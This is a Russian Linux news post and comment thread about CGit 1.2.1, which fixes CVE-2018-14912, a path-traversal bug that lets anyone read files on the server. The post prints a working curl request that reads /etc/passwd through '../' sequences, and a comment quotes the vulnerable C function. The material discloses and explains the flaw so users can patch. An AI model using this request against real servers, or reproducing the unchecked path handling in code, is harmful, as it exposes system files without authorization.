LINUX.ORG.RU

Выпуск CGit 1.2.1, включающий исправление критической уязвимости

 , ,


0

0

CGit — быстрый веб-интерфейс для работы с git репозиториями, написанный на C. Используется такими проектами, как Linux, Tizen, Yocto, Musl, а также многими другими.

В CGit версий начиная с 0.8 и до (включительно) 1.2 была обнаружена уязвимость, позволяющая прочитать файлы на удаленном сервере:

$ curl http://127.0.0.1/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]

Уязвимость была внесена с момента изначальной реализации клонирования git репозитория посредством http, и таким образом существовала и была доступна для эксплуатации на протяжении 10 лет. Тем не менее, нет информации о случаях эксплуатации уязвимости до её публичного раскрытия.

Уязвимость исправлена в текущей версии CGit 1.2.1, присвоен идентификатор CVE-2018-14912. Пользователям рекомендуется незамедлительно обновиться до последней версии.

>>> Описание уязвимости

>>> Подробности

★★★★★

Проверено: Shaman007 ()

Делать ЯВУ исходя из удобства для мартышек

Одновременно игнорируя что они могут натворить и оставляя им для этого целое минное поле

anonymous ()
Ответ на: комментарий от MyTrooName

Ну и где здесь ручное управление памятью?

void cgit_clone_objects(void)
{
    if (!ctx.qry.path) {
        cgit_print_error_page(400, "Bad request", "Bad request");
        return;
    }

    if (!strcmp(ctx.qry.path, "info/packs")) {
        print_pack_info();
        return;
    }

    send_file(git_path("objects/%s", ctx.qry.path));
}

xaizek ★★★★★ ()
    CC ../scan-tree.o
../scan-tree.c:13:20: fatal error: config.h: No such file or directory
compilation terminated.
../cgit.mk:130: recipe for target '../scan-tree.o' failed

Это после git checkout v1.2.1. Это норма?

ecko ★★★★ ()

ппц, вот это лоховская уязвимость! не узнаю свой ЛОР, где вой? да забросать какахами этих школоло-разработчиков мало после такой детской уязвимости!

и это учит нас не тому, что приложения надо запускать в изолированном окружении, что и так было понятно отродясь, а это учит нас тому, что надо писать СВОЁ. чужому говнокоду вообще доверия быть не может, если по итогу оно будет доступно удалённо.

Spoofing ★★★★★ ()

Любители goto такие любители. Вместо того чтобы оформить проверку содержимого в виде отдельной функции мы пихачим все как есть. Да, кстати, а если вместо '.' писать '\.' данный фикс это поймает?

A-234 ★★★★★ ()
Последнее исправление: A-234 (всего исправлений: 1)
Ответ на: комментарий от anonymous

а разница? разрабы так сильно волновались за буферах и указателях, что забыли очевидные вещи..

С другой стороны, если cgit имеет доступ к /etc/shadow — это совсем треш.

kirk_johnson ★★ ()
Последнее исправление: kirk_johnson (всего исправлений: 1)
Ответ на: комментарий от anonymous

Возможно, уровень культуры у сисадминов нынче такой, что не запускают веб-приложения от рута?

В docker всё от root по дефолту, а useradd делать лень.

anonymous ()

была доступна для эксплуатации на протяжении 10 лет.

Что ещё раз доказывает, что ужас перед «уязвимостями» обычно преувеличен для создания эффекта. Могли бы просто на это забить и ещё 10 лет всем было бы пофигу.

Alve ★★★★★ ()

CGit — быстрый веб-интерфейс для работы с git репозиториями, написанный на C.

Блин, я думал что это реализация Git на Си. Давно такое ищу, но видимо никто такое делать не хочет.

Xintrea ★★★★★ ()
Ответ на: комментарий от Xintrea

Блин, я думал что это реализация Git на Си. Давно такое ищу, но видимо никто такое делать не хочет.

По секрету скажу, Торвальдс еще в 2005 написал, но ты никому не говори.

anonymous ()
Ответ на: комментарий от Harald

Блин, я думал что это реализация Git на Си
а что, есть какая-то ещё другая

Так он же без perl и curl нежизнеспособен. Я имею в виду полный функционал без сторонних подпорок.

Xintrea ★★★★★ ()